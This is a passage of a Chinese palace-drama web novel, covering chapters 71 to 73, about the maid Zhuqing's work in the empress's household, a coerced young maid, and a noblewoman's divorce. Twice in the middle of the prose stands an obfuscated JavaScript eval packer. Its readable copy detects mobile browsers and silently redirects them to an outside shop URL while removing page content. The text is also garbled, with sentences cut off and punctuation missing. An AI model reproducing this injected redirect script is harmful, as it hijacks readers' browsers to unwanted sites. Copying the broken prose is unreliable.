“哟这不是竹清姑娘。”林忠海态度熟络竹清还没进殿中省大门口呢他就已经得知了她要来茶水都事先烫好了。 “林公公。”竹清与林忠海客气客气随后说出自个的目的林忠海摆摆手“这有何难?你不用亲自过来只打发人来问了就是这种小事怎麽能劳动你?” 从前的竹清只是太子妃身边的人如今成了皇后 宫里的掌事宫女,身份地位不同了,所以林忠海也是把她放到了与自己一样的位置上。 不再想着竹清小就带着她。 “欸,知道林公公忙,我少不得趁着公公得空过来一趟,细细问个清楚,不然底下人跑来跑去,也麻烦。还有,我来问了,皇后娘娘回头问起,我也能对答如流,不至于让皇后娘娘烦心。”竹清笑着说。 林忠海感慨,瞧瞧人家这行事办事,样样妥当的。他进殿中省有个几年了,见过不少嬷嬷姑姑推卸差事,有一些更加过分,主子吩咐了的事,她转头交给小宫女小太监去做,一旦有甚麽差池,就推卸责任。 忒不是人了! 竹清却不是这样的,林忠海心里不由得对她更加看重,他说,“我这就吩咐人去取,这宴席有规格,不知皇后娘娘这回想请多少夫人?竹清姑娘与咱家说说,咱们殿中省也好早早准备。” “……也就这几家,预备起来不难的。”竹清说,只要这几家夫人带头了,其他的自然也就跟风。 “单子在这儿,竹清姑娘看看,用的器皿、香粉等等,都是有记录的,半分不错。”林忠海坐下,自顾自地端起茶盏来品茗,等着竹清看完单子。 竹清一份一份地看着,只看到某些字眼的时候皱眉,她出声问道:“怎的有一些记载语不详焉?这是怎回事?” 林忠海看着她指出来的几处地方,说道:“诶呦喂竹清姑娘,这是娇客进宫不小心弄湿了贴身衣料,她的丫鬟多要了一件软云纱,只是到底具体用在了哪儿,如此私密的事,咱们总不好过问。” 宫里的每一次宴席都需要完完整整记录各种使用,哪怕是一张帕子,去了哪儿,给谁用了,都要清楚地记下来。 毕竟主子们事后可是会看的。 竹清轻轻叹气,这就是殿中省没有有地位的宫女的一大坏处,这些事竟然随便也就敷衍了过去。 说句不好听的,这一点都有了差错,那麽其他事情上,只怕也是有纰漏的。 但是明面上,竹清没有声张,只是仔仔细细问了林忠海好些详细,待过了半个时辰,她说道:“该问的都问妥了,林公公事忙,我就不打扰了。单子我带回去给皇后娘娘看,待好了再送回来。” “去罢,我送送你。”林忠海亲自把 竹清送出去,两人并行,边走边说道:“皇后娘娘若是有甚麽新奇的想法,竹清姑娘可一定要告诉我,我好有个心理准备。” 这是怕主子一时头晕脑热想做些甚,反而坏了名声,还招惹了麻烦。 竹清不应他这个话,带着人回了椒房殿,只是椒房殿的氛围却不是很好,贴身宫女与竹清轻声说道:“皇后娘娘给平宁大长公主下的帖子被拒了,平宁大长公主府上来人,说那日平宁大长公主约了一位亲王妃去广佛寺烧香,不能入宫了。” 平宁大长公主是先帝一母同胞的姐姐,这个身份放在现在也是响当当的,皇后原是想着给她一个面子,请她入宫喝个茶,没成想她拒绝了。 竹清入内,见到了脸色不大好的皇后,她安慰道:“娘娘,小心气坏了身子。” “本宫请她一回,她却装模作样地拿乔,这是打量着本宫再下一次帖子给她?做梦!”皇后虽然生气,却并没有气狠了,只是心里在想:平宁大长公主以为她如今很有脸面麽? 先帝都到地底下去了,谁还能给她撑腰?说句不好听的,一朝天子一朝臣,如今在皇位上坐着的,是她的夫君。 哪怕平宁大长公主是长辈,可是到底陛下不亲近她,日后给她一些赏赐也不过是全了脸面。 “罢了,也不是甚麽大事,随她去罢,另外,宫女不是说她要去上香麽?竹清你去库房挑一些福袋送给她,就当是本宫给她的赏赐。”皇后叫竹清亲自去。 竹清应了,又轻轻走出去。 寿仁宫中,太后显然也得知了平宁大长公主拒帖子的事,也知道了皇后让人送赏赐的事。 她闭着眼睛,仍由小宫女替她揉额头,“田息嬷嬷你瞧瞧,她还以为当今是她的亲弟弟呢,由着她胡闹,给她撑腰。” 太后语气里多有嘲讽,她不喜欢平宁大长公主,在她当皇后的时候,平宁大长公主就屡屡不敬她,偏偏陛下护着,还说他只有这麽一个姐姐,这个姐姐小时候还帮他挡了一次暗算。看着平宁大长公主得宠的样子,她也就不计较了。 可如今靠山都没有了,她居然还高高在上?莫说她,就连她这个嫡母,与皇帝都不亲,她哪来的自信还觉得自己能和从前一样嚣张跋扈? “瞧着罢,得罪了皇后,有她受得。”太后说 。 田息嬷嬷点点头给香炉里加了几勺子香料又吩咐宫女把太后摘下来的头饰擦干净她对太后说道:“可不是皇后娘娘管着后宫逢年过节的送礼她也有权过问若是送年礼她教人给平宁大长公主一个教训也不是不可以。” 就像头饰有的是真金白银打的有的是轻飘飘的“纸金”只有一个面上看得过去。 还有每年的冰敬炭敬皇后稍作手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回宫的时候竹清经过祁王府恰好撞上了祁王府的马车看来路应当是刚从郊外回来祁王妃从马车上下来后头下来的竹清也认识正是全哥儿 。 只是如今的全哥儿恭恭敬敬地叫祁王妃母亲还扶着她走路腰杆子挺直半点看不出从前唯唯诺诺的模样。 看上去他的确得到了一份底气。 母子俩亲亲热热地说着话一同进了祁王府竹清想到已经振作起来的李贵嫔大家都有好的前程。 一晃就过了几日殿中省把这一批放出宫的宫女名单定下来了只是不巧生了一些事情。 照旧是林忠海接待竹清他满脸愁苦叹气道:“有个小宫女闹起来了她干爹是在御前伺候的这事不好处理。” “怎的了?”竹清问他林忠海愁眉苦脸说道:“还不是这开恩提前出宫一些还没有到年纪的宫女也眼热眼馋跑去问管事的姑姑是不是收了贿赂所以挑了这些小宫女放出去。” 她们都想着早点出宫毕竟有些还有婚约在身早一年出去就能早一年成亲说不得等到25岁时连孩子都有了。 “她既然有个干爹是御前的怎的不谋个好前程?让她干爹帮她使使劲儿调去好地方伺候。我瞧其他姑姑还有嬷嬷就是这样的熬个几年做了一个宫的管事嬷嬷也算是一个好出路。”竹清想了想后宫每一个宫都有一个总管事或是首领太监或是管事嬷嬷。 也是不错的差事了。 林忠海弹了弹肩膀上的灰尘请竹清坐下吃块糕点听他慢慢说他说道:“你是有所不知啊这个小宫女当初是天灾之后没了所有亲人了的。进了宫就想着安安分分做事她的干爹见了她这样就想着提携她本来使的银子还有路数都办妥了就等着把她调去御前。哪知新一批宫女进宫就坏事了。” “她有个同乡说她亲人还剩下一个失忆的姑姑正巧被找了回去。这不她一听不需要去御前伺候了只想着出宫。这可就不行了她的干爹又出银钱又出关系的正想着替她谋前程她却不识好心这不她干爹不想她如意提前跟咱们打了招呼不让她在出宫名单上。” 竹清已经明白过来了两方斗争然后闹起来连累到了殿中省像林忠海这样的管事太监 怪不得他愁眉苦脸成这样。 “坏就坏在这个小宫女是挑在柳妃回宫的必经之 路上求她的而且那个时候康嫔也在……”林忠海没有说完下面的话但是两个人都知道柳妃自从进宫后就一直心气儿不顺她在东宫时与舒妃都是侧妃两人又都有哥儿地位旗鼓相当。 康嫔就是从前的康良媛与其他良媛一样她也得了一个嫔位只不过因着只有一个女儿所以后宫中她的存在感不强。 自从定了位份后柳妃就比舒妃矮了半个头这她哪里能忍?有时陛下去她那说话她都痴缠撒娇。 这不小宫女让她做主儿她自觉有面就过问了这件事一下子闹大了。 “柳妃娘娘到底受宠呢……”林忠海隐晦地提点一句所以他们得给柳妃一个面子不能私下处理这事。 这是要把事情推给皇后娘娘竹清想明白了之后对林忠海说道:“那个小宫女可在?” “在的咱家把她留在殿中省了随时听候皇后娘娘吩咐。”林忠海脸上一喜果不其然就跟竹清猜测的那样像把问题抛出去。 “把她带来我带她去见皇后娘娘。”竹清说不一会儿她就见到了这个小宫女出乎竹清意料的是这个小宫女亭亭玉立眸光似水光是站在那儿就让人呼吸一窒后宫中能比她漂亮的不过两三个。 竹清挑眉隐隐约约猜到了她干爹让她进御前是想做甚了。 “跟我走罢。”竹清吩咐她边走边问道:“你叫甚麽名字?” “奴婢玉容见过竹清姐姐。”玉容声音如珠如玉大珠小珠滚玉盘教人一听便难忘。 真是难得不是大家贵族从小到大精心养着的小娘子居然都能有这样的条件。 见了皇后娘娘玉容跪下悲切地说道:“奴婢参见皇后娘娘皇后娘娘万福金安。娘娘救救奴婢罢奴婢实在是不想去御前 这话一出来整个椒房殿都安静了。 作者有话要说 第 72 章 这只是事业的开端 第72章这只是事业的开端 “你且仔细与本宫说说是怎麽一回事?”皇后笑容撇下去了,嘴角拉平,语气不再温和,只剩下一片冷然。 倒不是针对玉容的,而是针对她话里让她去勾引陛下的干爹。 “是,皇后娘娘。那曾长海在奴婢刚进宫时就盯上了奴婢,他找奴婢作干女儿本就目的不纯,是想让奴婢去御前伺候陛下,若来日得了陛下青眼,做了主子,也好反哺他。” 玉容先是冷静自若地说明白利害干系,随后眼睛一红,哽咽着说道:“请皇后娘娘明鉴,奴婢断然没有勾引陛下的心,只是那曾长海一直威胁奴婢,奴婢这才不得不拖着他,拖到最后实在是没有法子了,奴婢这才去拦了柳妃娘娘。” 玉容知道自己笨,所以被曾长海拿捏住弱点威胁,她也知道拦住柳妃是一件很愚蠢的事,甚至在皇后娘娘跟前直接说勾引陛下,也是蠢的。 她知道这件事闹大了对她没有好处,拦住柳妃更是罪加一等,可是她没有别的法子了,那曾长海步步紧逼,甚至让相熟的嬷嬷为难她,她的手洗衣裳都洗掉几层皮子了,若不是这样,她顶多扛着一点,等到25岁出宫。 可这些日子,她受的罪越来越多,再这样下去,都等不到放出宫了。 “哦?竟是如此。”皇后冷笑,眼瞧着陛下刚刚登基,还在青年,各个儿都想嚼一嚼这块糕点,连御前伺候的阉人居然都插了一脚进来。 “奴婢原是想着,只要曾长海不一直缠着奴婢,奴婢这回就算去扫马桶也是乐意的。”玉容说,她知道出宫名单已经定好,她的目的也不是出宫,只是借着这个由头闹起来而已。 过后,她去做粗活低贱的活,曾长海总不能让一个扫过马桶的宫女近身服侍陛下罢? 陛下也会膈应。 竹清想了想曾长海是谁,倒是听干娘霜玉姑姑说过,很唯利是图的一个人,眼里只有利益没有真情,少接触为宜。 皇后在沉思,既然是这种情况,那麽这个玉容的去处,也就值得思索一二了。 “出宫名单早已定好,如果这个时候突然加人或者让你顶替别人也不成,总归是有规矩在这儿。”皇后说,让玉容顶替他人的位置也是生事 玉容不同于红花她是犯错的。 有错就要罚。 听见皇后娘娘的话玉容心里失望了一瞬间不过这也在她预料之中所以她很快收拾好心情再次磕头道:“奴婢只要不去御前去冷宫扫地砖也是成的。” “娘娘奴婢也不打算出宫的我没有了亲人不知去哪一辈子伺候主子也是愿意的。” 她不想当后宫的妃子只有一张脸面如何能长长久久地活着?只怕还不够那些身份高的妃子戏弄上几回的。 “各宫都不缺人你的安排就成了一个问题。”皇后食指敲击着桌角恰好后妃搬入宫各宫都按照规格补齐了人。 连长街人数都够了。 换句话说哪怕去扫马桶也没有了玉容的位置。她的椒房殿多了红花再多一个也没有必要。 更何况玉容跳出来本就是有错的 现下这事各宫都看着得安排妥当啊。 “皇后娘娘。”这时竹清适时出声了她说“皇陵那边不是逃了几个宫女?殿中省正预备着补上这也是一个去处。” “就是去了皇陵比较耗费心力。”竹清这话说的还算客气了皇陵那地磋磨人只需要几个月。 皇陵?这是一个玉容从来没有想到过的去处可是她想了想貌似真的很适合她。去了皇陵曾长海不能再为难她她那个恶心人的姑姑也找不到她两全其美。 “皇后娘娘奴婢愿意去皇陵守一辈子也愿意。”玉容说就让她的美貌在暗无天日的皇陵里逝去罢她没有能力护住自己便只能这般了。 皇陵啊也算是有奖有罚。 “既然你愿意去那本宫就让殿中省安排不日将你送去皇陵。只是你可想好了?去了皇陵一辈子就是皇陵的人再不能自行婚配不能离开皇陵一应衣食住行都在皇陵里解决。”皇后说这也是为何那几个宫女要逃长年累月不见生人一派死气沉沉日子长了多少受不了。 “奴婢不怕。”玉容说小时候因着她是个女孩家中隔三差五把她放在地窖里关着每日只给一个馒头久而久之她也就习惯了黑暗。 皇陵比家里地窖 还好呢! 她是个知足的人! “也好,竹清,带她回去,顺带去殿中省叫林忠海把玉容名字加上,再有,去御前送一碗小厨房做的甜汤给陛下,请陛下过来椒房殿用晚膳。皇后有条不紊地吩咐,竹清便按照她的意思,先带玉容出去了。 “你回去之后也不必理会其他人的风言风语,左右不过七八天,就去皇陵了。 “奴婢省的了,多谢竹清姐姐提点。玉容说。 回去后,果不其然,玉容受到了其他人的排挤。 “我当是谁呢?原来是玉容啊,怎的了,大张旗鼓地弄一趟,出宫了麽? “没呢,我刚从殿中省出来,人家荣放要出宫的宫女们都已经去椒房殿叩拜皇后娘娘了,定是没有玉容姐姐的份儿。 说起来,她们一开始只是不喜欢长得貌美如花的玉容,但是也不说多针对她。可是玉容认了一个干爹,那个干爹还不对她做些甚麽,只每隔几日让人送东西过来,甚麽好看的发钗,昂贵的玉镯子,时兴的头花……怎麽不让她们嫉妒? 都是一样差事的宫女,凭甚你可以过得如此好? 玉容不理她们,自顾自地收拾,有人看不惯,想上手,哪知方才还无动于衷的玉容一巴掌甩过去。 “啪!响亮的一声,镇住了所有人。 “我刚从椒房殿出来,你说我有甚麽前程?只管自己想去罢!玉容笑得畅快,倒是一下子让旁人拿不住了。 就连门外的管事嬷嬷也惊疑不定,她自然是知道曾长海认玉容的目的,原本她猜测玉容去了椒房殿,少不得遭一顿训斥,可是看着玉容的模样,倒像是得了一份好前程,该不会,曾长海为他人做嫁衣。 莫不是,玉容得皇后开恩,真的去伺候陛下了罢? 一想到这个可能,管事嬷嬷的心就止不住地跳,玉容若是成了主子娘娘,教训她岂不是很轻易? 玉容看着她们的脸色,不屑地转过身,一群欺软怕硬的东西,呵! * 竹清从殿中省出来,早有领着食篮子的小太监在等着她,见了她,赶忙笑嘻嘻地上前,说道:“竹清姐姐,皇后娘娘让小厨房做的甜汤在这儿,娘娘 吩咐让我随了姐姐去。 “那便走罢。竹清点点头。 到了御前,竹清才发现伺候的宫女们有几个换人了,一水儿的漂亮,各有不同。 “奴婢参见陛下,陛下万安。竹清行礼,待陛下叫起后,这才起身说明来意。 陛下与皇后还算是同心的,听见皇后请他过去,他颔首,“朕知道了,你回去告诉皇后,朕回过去的。 竹清发现,伺候陛下用甜汤的不是大太监,而是一个指如白葱根、手若无暇壁的小宫女,这气氛……属实是有些暧昧了。 但是陛下没有不满,她一个宫女,自然也不能说这不妥,她垂眸,听着陛下吩咐大太监,“去库房里把青州贡上来的屏风送去椒房殿。 竹清去的时候只拿了一碗甜汤,回来的时候却带着一大扇屏风,这屏风是玉石做的,重得很,几个粗使太监抬着,脸上都出了密津津的汗。 “启禀皇后娘娘,陛下赏赐了一扇白玉刻雕花砌的屏风。 “摆那儿。皇后随手一指,正正好摆在最显眼的位置。让陛下一来就能瞧见,满足陛下的情绪。 只听见竹清的话后,皇后的笑容变得玩味,“瞧瞧,本宫说甚麽来着,这些人恨不得今儿侍寝,明儿入后宫,一个个急不可耐。 她不在乎多少宫女伺候了陛下,也不在乎她们能不能得到一个名分,她只要求一个:陛下断然不能在守孝期间闹出临幸宫女的丑闻。 皇室的脸面! “娘娘不必担心,奴婢瞧着陛下没有宠幸她们。竹清说。 “现在是贴身服侍,下一步呢?皇后有些厌烦,偏偏她不好直接插手御前的事,“罢了,这事先放一放,唐国公府的国公夫人快要进宫了,竹清你去接她们来椒房殿。 “是。竹清应了,只是想不到唐国公夫人这个时候要求见皇后娘娘是做甚,毕竟唐国公府一直低调,从不与人争眼的。 唐国公夫人很快就下了马车,竹清这个时候才发现,她不一个人入宫的,跟在她身后的,还有一个作妇人状的大娘子。 “竹清姑娘想必不认识,这是妾身的小女儿。唐国公夫人介绍一句,唐是一个封号,实际上唐国公府的哥儿姐儿,姓沈。 “唐国公夫人,齐夫人这 边请。”竹清早已把盛京城所有的关系记住自然很快就想到了唐国公夫人小女儿叫甚麽嫁给了谁。 到了椒房殿唐国公夫人与齐夫人齐齐行礼唐国公夫人已有四十多岁一些白丝掺杂在青丝里教她看上去有些超越年纪的老。 “竹清扶起两位夫人。”皇后吩咐。 待唐国公夫人与齐夫人都坐下后皇后这才问她们的来意“近日各家事情多本宫也就没有让人去唐国公府送帖子没成想夫人倒是先进宫了。” “回皇后娘娘的话妾身年纪大了平常里不经常走动 “齐夫人怎的不做声?说来本宫也有十来年不曾见过齐夫人了。”皇后说沈穗穗是嫁去了外地一年半载才回来一次她自然很少碰见。 沈穗穗起身庄重地行了一个大礼“妾身有事求皇后娘娘做主。” 皇后愣了愣看向她“快起来这是怎的了?好端端的要本宫做甚麽主儿?” 许是想到了伤心之处沈穗穗一时竟出不了声音还是她娘亲唐国公夫人替她说了“启禀皇后娘娘我这小女被那齐家苛待那齐家三郎君宠妾灭妻抬了一个喜爱的外室进府那外室还带了一个外室子。” “这已是几年前的事我这小女一直没有生养她给抬的后院的一众小娘也没有孩子所以我这小女对于这个外室也就默认了。甚至待她的外室子也是呵护的。为了这个外室子的身份我小女对外还说他是小娘生的。”唐国公夫人先点明了沈穗穗做事没有错当家主母自己没有孩子便护着外室子。 外室子明显比小娘生的地位更低。 外人挑不出沈穗穗的错儿来还得赞她一句呢! “竟是如此。”皇后看向沈穗穗的眼里明显有怜惜她最恨像齐家三郎君这般狼心狗肺的东西! 沈穗穗这时已经收拾好心情她用帕子捂住嘴说道:“娘娘妾身自认嫁去齐家之后一直孝顺长辈爱护小辈齐家的姐儿们出嫁我随的嫁妆都有几抬……可是他们一家子越来越过分到最后竟然让妾身主持中 馈那齐家已然是一个烂摊子了……” 外头的人喊郎君都是叫嫡子也就是说齐三上边有两个嫡亲哥哥按理说在还没有分家的时候主持中馈的应当是齐大郎君的夫人。 “他们齐家不要脸妾身查了查他们居然好意思用媳妇的嫁妆!”唐国公夫人气得捶桌子她愤愤不平地说“不独我小女的她那两个妯娌亦是嫁妆都快要没了所以那齐二的夫人才推脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465537|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后抓着我小女天爷子啊这一大家子居然都指望着我小女的嫁妆过活!” 听听这是不是让人不耻?大儿媳的用没了就打着小儿媳的嫁妆的主意再没有比这个更加无耻的了! 皇后一时间也沉默了她没有预料到外头的勋贵能做出这样的事。 不成文的规矩媳妇的嫁妆是个人的不能拿出来阖府用这齐家偏偏反着来。 “他们倒也精明知道这样的事不能外传故而与嫁进来的大娘子说让她们闭着嘴巴说她们也是齐家人到时候丢脸也是一起的。”唐国公夫人看向身旁的女儿满脸的心疼就是他们这样拿捏儿媳她的小女才不敢与娘家人说。 这些嫁出去的女儿如何能回娘家与父母哥嫂说夫家的不是?纵使有理也让人觉得不合心。 “妾身虽然自知没有一儿半女 沈穗穗跪在地上她垂着头由着旁人打量自己。她不是蠢知道再忍下去只怕自己也会早早病逝。 倒不如一个人过省得清净了。 皇后叹气“本宫知道了和离这事唐国公府上下可都应了的?姐儿们后头婚配上只怕有些艰难。” 有个和离的姑姑下边的姐儿们如何说亲事? 唐国公夫人说道:“娘娘莫担心这件事府上的人都已经商量过穗姐儿的哥嫂都没有意见还有我那当家的大儿媳只说若是来日没有人与家中姐儿说亲她那边的侄子们也是不差的能娶咱们唐国公府的小姐。” 如此,就是整个唐国公府都没有意见,皇后颔首,“本宫自当为你做主儿,你且等上个几日。她还得派人去调查调查,不可能听信唐国公夫人与沈穗穗的一面之词。 送走唐国公夫人与沈穗穗之后,皇后对竹清说道:“世家高门内里污秽,所幸本宫的明文公主不用受这样的气。 公主哪怕成亲了,也还是君,驸马、公爹、婆母都是臣,君臣有别,也该是那一家子伺候公主。 “明文的婚事要尽早办起来了,最近外族人虎视眈眈,千万别落得个去和亲的下场。皇后想着金尊玉贵养大的女儿,怎麽能去和亲? 于是乎接下来的一段日子竹清都很忙碌,要给适合明文长公主的哥儿们挨个查一遍,然后就是唐国公小女儿穗姐儿的事。 一整个脚不沾地,待终于轻松一点,是穗姐儿的事有着落了。 那沈穗穗嫁去外地,每日做慈善,竟然还得了百姓们自发塑造的泥塑像,可见有多得人心。 “她果真不错。皇后赞了一句,“这事之前她进宫的时候居然没有说。 “恐怕沈四娘子是觉得低调点好,再说,她可能习惯了布施,讲不讲的都不影响。竹清说。 皇后这麽一听竹清说,对沈四娘子的感官就更好了,不卖弄善良,又有自个的底线,不错。 “她这样有颗良善心肝的人不多了,教她日后去佛寺呆着总不是个好法子,竹清,你说本宫求陛下给她封一个县主,如何?让她不独是唐国公府的娘子,有殿中省的孝敬,日子也就不差了。皇后说,根据她得到的消息,沈穗穗在整个荣安县都是有名的,那些平民百姓俱都佩服她,她的影响力可比齐家大多了。 一个县主而已,当不得甚麽,还能彰显皇室的重视。 “那日娘娘吩咐奴婢送一送唐国公夫人以及沈四娘子,她还与奴婢说,教娘娘不必另外费心,她在古佛山寺里守着长明灯就成了,前半生早已在交际周全中疲惫不堪,往后想要一个清净。竹清说,按照沈穗穗的想法,她时常出来晃悠,岂不是教旁人知道唐国公府有一个和离的姐儿? 到底不好。 “罢了,既如此,本宫只多赏赐一些物件给她,对了,本宫记得,唐国公府的世子夫人也常常在京郊布施? 是一家人都有好心肠了。 “娘娘记得真清楚,正是,说起来奴婢出宫的时候,也见过一两回。再有就是文英公主出嫁那日,因着穷苦百姓们都来抢喜钱喜饼子,那唐国公府的世子夫人就等着队伍过去之后就派人去分粥还有粗饼子。”竹清记性好,遇见的事哪怕过了许久都还记得。 她清楚地记住了那日不少衣裳上打着补丁的老翁老妪分得了满满的两大碗粥。 “是了,这事还是你与本宫说的。”皇后站起身,思量道:“你说,再下一份帖子给唐国公府如何?她们既然善心,说不得到时候捐款也捐的多,有她们起了一个高调子,后边的,总不能低了罢。” 竹清一顿,说道:“娘娘的主意甚好。”到底是上位者,哪怕心里觉得她们好,骨子里第一时间想到的,还是如何谋取更大的利益。 她不可避免地想到了自己,如果当初她躺平,没有争着上位,这会儿会在哪儿呢? 当初在王府里伺候王妃的小丫鬟们,因为没有多大的价值,不得主子看重,一个个随随便便嫁了出去。大多已经面色焦黄,生活围绕着夫家还有孩子,失去了自我。 在小丫鬟当中待久了,她会不会也被逼无奈,随大流嫁人了,婚后像沈四娘子那般被夫家磋磨。又或者是像画屏那般,虽然看着圆满,但是也有不如意,明明有了一儿一女,却依旧被催生。 多可怕。 竹清慢慢地想着,她的命运就像一艘船,驶向哪个目的地本是由皇后做主,但是因着她的不服输,那船桨被她握在了手里,最终,由她自己说了算。 从雍王府的扫洒丫鬟,到王妃的贴身丫鬟,再到东宫的大管事,如今,她已经是椒房殿的掌事宫女。 十一年,她的事业心一直不曾改变,当皇后娘娘的掌事宫女也不是尽头,未来,她要继续往上走。 且等着瞧罢! 作者有话要说 第 73 章 捐款造海船 第73章捐款造海船 却说皇后动用了前朝的人脉,且把罗嬷嬷说的那件事告诉了太子,两边一起查,终于将有二心的老师们挑了出来。 一共有三个,分别是:教导太子品行德育的孔少傅,骑射老师威德大将军,书法大家茂林先生。 太子先后经历事情多,远比之前看上去要成熟得多,他坐在皇后身边,皱眉说道:“观察了许久,也就是他们三个了,其他人也有小心思,但是无妨。” “不急,咱们挨个分析分析……”皇后说,她既然要与太子说悄悄话,竹清自然是退下了,而且她屏退所有宫女,自己亲自守着正殿。 过了一个半个时辰,太子从里头出来了,脸色不大好。 “恭送太子殿下。”竹清行礼,见太子急匆匆地出去,她转身进了正殿,皇后神色莫名,“娘娘,仔细身子。” “竹清,你说他们怎的就不满足呢?明明琮哥儿已经是太子了!”皇后捂住了额头,她只觉得这些人贪得无厌,一个个的,都恨不得带坏了太子。 竹清沉默了片刻,这才说道:“娘娘,容许奴婢说句僭越的话,太子到底还小,他们就想着支配太子的一举一动。”她挑了一件小事来说,在太子的众多遭遇当中,这已经是比较不起眼的事了。 最重的,就是想着谋害太子。只不过这话不能由她来说。 其实这些老师的想法还是很好猜的,皇帝正值壮年,谁能保证他活多久?若是活个三四十年,那岂不是说太子要当几十年的储君? 等太子上位,恐怕黄花菜都凉了。这些人有一些想法,那是很正常的事。 而且……太子确定不会被废麽?他能不能顺利登基,是一件未知的事。 皇后正是因为想到了这些,她才觉得心寒,没了先帝,太子与皇帝的矛盾日渐显露,她说,“方才琮哥儿告诉我,陛下教他不必插手朝政,也不用批阅奏折,安安心心在勤学殿上课即可。” 她差点咬碎了一口银牙,让太子批阅奏折,那可是先帝开的头,如今,皇帝却不让太子做了。 竹清垂眸,往日的担忧终究成了现实。 * 既然皇后开口要邀请唐国公府的夫人进宫,竹清便 制了一张帖子出来带着人出宫送帖子去了。 她这回带的还有皇后的懿旨让沈四娘子与齐三郎君和离。 到了唐国公府几位大娘子正聚在一起说说笑笑那沈穗穗也在其中。几位嫂嫂没有对她冷脸反而怕她心里不好受可劲儿地分散她的注意力。 “奴婢竹清见过世子夫人、二夫人、三夫人、沈四娘子。”竹清一一对照把她们与记忆里的脸对上。 “快快起来竹清姑娘坐下喝茶。”世子夫人带了头言语中对竹清十分客气。 “奴婢早就听闻唐国公府的茶很香这第一回尝唐国公府的茶自然是要慢慢品尝。”竹清这话就是要在唐国公府呆上半个时辰不是办完差事立刻就走。 首先做的就是宣皇后娘娘的懿旨听到皇后为自己做主让自己与那混账齐三和离沈穗穗一双眼睛顿时淌了泪水。 “遵旨。”沈穗穗强忍着内心情绪不一会儿就被人扶下去净面了这其实有些不合礼数 世子夫人有些担心竹清不满意穗姐儿的表现在皇后跟前埋怨。 “让竹清姑娘看笑了穗姐儿还是孩子心性。”世子夫人看似贬了沈穗穗实则为她心疼。她与沈穗穗差的大在她嫁过来之后是把沈穗穗当作半个女儿养的。 竹清明白了唐国公府世子夫人的意思说道:“沈四娘子心性赤纯奴婢回去定要告诉皇后娘娘沈四娘子有多感激皇后娘娘。” 这传话也是有技巧的如何能让皇后对穗姐儿满意很显然要依靠竹清是怎麽禀告皇后的。 世子夫人听见这话眉眼都是笑意知道竹清没有计较。穗姐儿已经这样的境遇了若能得皇后娘娘几分怜惜必然是好的。 于是这一回你来我往的交锋世子夫人觉得甚好她吩咐姑姑给竹清一个大荷包里头都是金子。 “多谢世子夫人。”竹清先把荷包揣袖口里随后才接过身后小宫女手上的请帖对世子夫人说道:“奴婢此次来受皇后吩咐请世子夫人及府上的几位夫人于初八入宫参宴。” “椒房殿的牡丹花开得正艳丽皇后娘娘请夫人们去赏花。”竹清说罢把请帖递给世子夫人身边的姑姑。 世子夫 人明显有些惊讶,皇后娘娘设宴的事早就传遍了整个盛京城,先前她们还在艳羡旁的夫人能入宫,今儿居然就轮到她们了? “还请竹清姑娘告诉皇后娘娘,我们定会去的。世子夫人这般说罢,又与竹清聊了好些事,沈穗穗这才回来。 “让竹清姑娘见笑了。沈穗穗眼睛红红,精神头却是十分的好,她也陪着竹清好一会儿,眼见时候差不多了,竹清就起身告辞。 * 早早有人得了信儿,在唐国公府外头等候着竹清,见她出来,忙上前,“可是竹清姑娘? 机灵的小宫女撩开了马车的帘子,让竹清能看见她,却是一个竹清见过的人,就是文英公主在盛京城陪嫁铺子的管事,从前也拦过竹清。 “是何姑姑,有甚麽事麽?竹清问她,何姑姑只说要请竹清赏脸喝茶。 一刻钟后,竹清与何姑姑在聚仙楼雅间落座,秋日有秋日的美景,从窗户看出去,满地橘黄色,带着几分萧瑟的意味。 何姑姑烫好了茶,捧了一杯给竹清,“尝尝这上等清茶。 竹清喝了,赞了几句,又问何姑姑有何要事,何姑姑一听,也不遮遮掩掩了,与竹清说道:“是这样的,我与皇后娘娘庄子上的汶林嬷嬷相识,前个与汶林嬷嬷一起吃酒时,她曾与我说,皇后要筹款。所以我想着,也跟着捐款。 “何姑姑,要动用大笔银子,文英公主可知道?竹清不免吃惊,这个铺子是文英公主的,赚的钱亦是,何姑姑一个管事,就能直接用了麽? “欸,竹清姑娘有所不知,文英公主曾经叮嘱我,皇后娘娘做甚,她就做甚,且她与皇后娘娘感情深厚,我先斩后奏也是一样的。 毕竟跟着捐款,文英公主身上就有了美名,哪怕不在盛京城,却依旧惦记家国大事。 再则,汶林嬷嬷是真的说漏嘴了麽?她与汶林嬷嬷吃酒也不是一次两次了,怎的就这一次她说了那样的话? 受谁的指使,不言而喻。 “那就多谢文英公主,也麻烦何姑姑了。竹清平静地说道,皇后此举也不是完全为了自己,起码,她同时想要提携文英公主。 何姑姑以文英公主的名头捐款,皇后正好趁此机会让 陛下封赏她,也好让羌族的人知道,文英公主虽然远嫁和亲,但是皇帝是惦记着的。 一举两得! “银票我已经取出来了…… 这般完事,竹清可谓是收获满满,一回宫,正好看见淑贵太妃的轿撵经过,看方向,是从勤政殿出来的。 竹清回到了椒房殿,与皇后说起此事,皇后叹气道:“淑贵太妃终究不忿,这已经是第三回去勤政殿了。 皇帝记在太后名下,无论是生母还是嫡母,都是太后,淑贵太妃此举,是惹了太后不高兴。 不过左右她是不会管这件事的,从前淑贵太妃磋磨她,如今她又与太后有了间隙,且由着她们两个对上罢。 “娘娘,这是文英公主捐的,十万两,与娘娘的数一致。竹清拿出银票,又细细与皇后说了唐国公府上几位夫人的事。 她们刚刚说罢,皇后就吩咐竹清去小厨房看看,太子晚上过来用膳,皇后一早就安排小厨房做上太子喜欢的菜式。 太子很快就到了,他不用去勤政殿之后,时间倒是空余了许多,往常他可不能这个时候就到椒房殿,多数是皇后派了人去东宫送东西。 “儿臣参见母后。 